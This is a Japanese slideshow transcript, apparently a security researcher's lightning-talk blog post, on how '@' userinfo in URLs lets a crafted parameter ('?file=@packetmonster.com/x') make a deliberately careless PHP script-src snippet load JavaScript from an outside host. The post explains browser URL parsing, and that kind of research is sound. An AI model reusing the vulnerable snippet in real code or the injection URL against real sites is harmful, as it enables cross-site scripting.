ltっぽくブログを書いてみるテスト

Post on 03-Jul-2015

3.017 Views

Category:

Documents

0 Downloads

Preview:

Click to see full reader

DESCRIPTION

@が付いたURLって面白いですね

TRANSCRIPT

LTっぽくブログを書いてみるテスト

山本洋介山

@yousukezan

自己紹介

• カリスマノーワーカー

• たまに原稿とかも書いています

• 普段の仕事はブラウザ間のドラッグ&ドロップ

• だいたいは寝てます

普段の仕事のドラッグアンドドロップ

• 場所をミスるとエラー

慌てて戻ると入力してたページが消える

• 入力してたページと違う!!

Firefoxのバグ!?

• こいつは困った

• 入力してたページが消えるのは困る

• ミスすんなって話は聞かない

• どんなときに起きるのか調査しないと!

いろいろ試す

• bogusならhttp://www.bogus.jp/を開く

• bogus jp(半角空き)だとエラー!!!!

• http://bogus.jp/とかちゃんとしたURLをドラッグアンドドロップすればそこが開く

• http://bogus.jp/だとhttp://http.com/を開く

ここまでは前振り

マジで!?

たまたま@の入ったURLを試す

• http://hoge@bogus.jp/

みたいなURL

• @の付いたURLはRFC的には全くもって正しい

• @の前は認証に使う文字列なのでbogus.jpへアクセス

• FirefoxだとこのURLへのアクセスはフィッシングの疑いがあると警告がでる

• Chrome的にはこのURLは素通し

• IEは読まない

ややこしいURL

• http://google.jp@bogus.jp/みたいにするとややこしい

• とはいえURL的にはhttp://bogus.jp/に行くのが常識でしょ

• それはともかく前の方のドメインに向かう前提のプログラムとかあるかもね

前の方のドメインに向かう前提のプログラムを考えてみた

• <?php$base="http://bogus.jp";echo '<script src="'.htmlspecialchars($base.$_GET["file"]).'"></script>';?>

間抜けなプログラム

• http://bogus.jp/scriptsrcxss.php?file=/base.js

みたいに外部JSを読み込む間抜けなプログラム

• htmlspecialchars でXSS対策も万全なはず(いい加減)

• 実際には存在しない…はず

スクリプト読み込めるんじゃね?

• http://bogus.jp/scriptsrcxss.php?file=@packetmonster.com/x

• みたいなURLでhttp://packetmonster.com/x

が読み込まれるんじゃね?

警告もなくスクリプトを読み込む

なぜ?

• 生成されるURLが<script src="http://packetmonster.com@bogus.jp/x"></script>となるんだからhttp://bogus.jp/xが読まれてあたりまえ。何か問題でも?• 残念ながら/が入ると読まれないので注意• http://packetmonster.com/php/@bogus.jp/xみたいなのはダメ

MozillaとGoogleに聞いてみた

• こんなURLで警告なく読み込めるのってブラウザが悪くね?

• 返信:プログラムが悪いんじゃクソボケ!(意訳)

• これもまあ想定通り(URL的には正しいもんね)

結論

• こんな間抜けなコード書く人はいないと思いますが、こんなことも起きるんですね

• 実際にこんなプログラムがあると面白いので誰か教えてください

• phperにとっては常識的なのかもしれません(;´Д`)

終わり

• LTっぽくブログを書いてみました

• 最後までお読みいただきありがとうございました

top related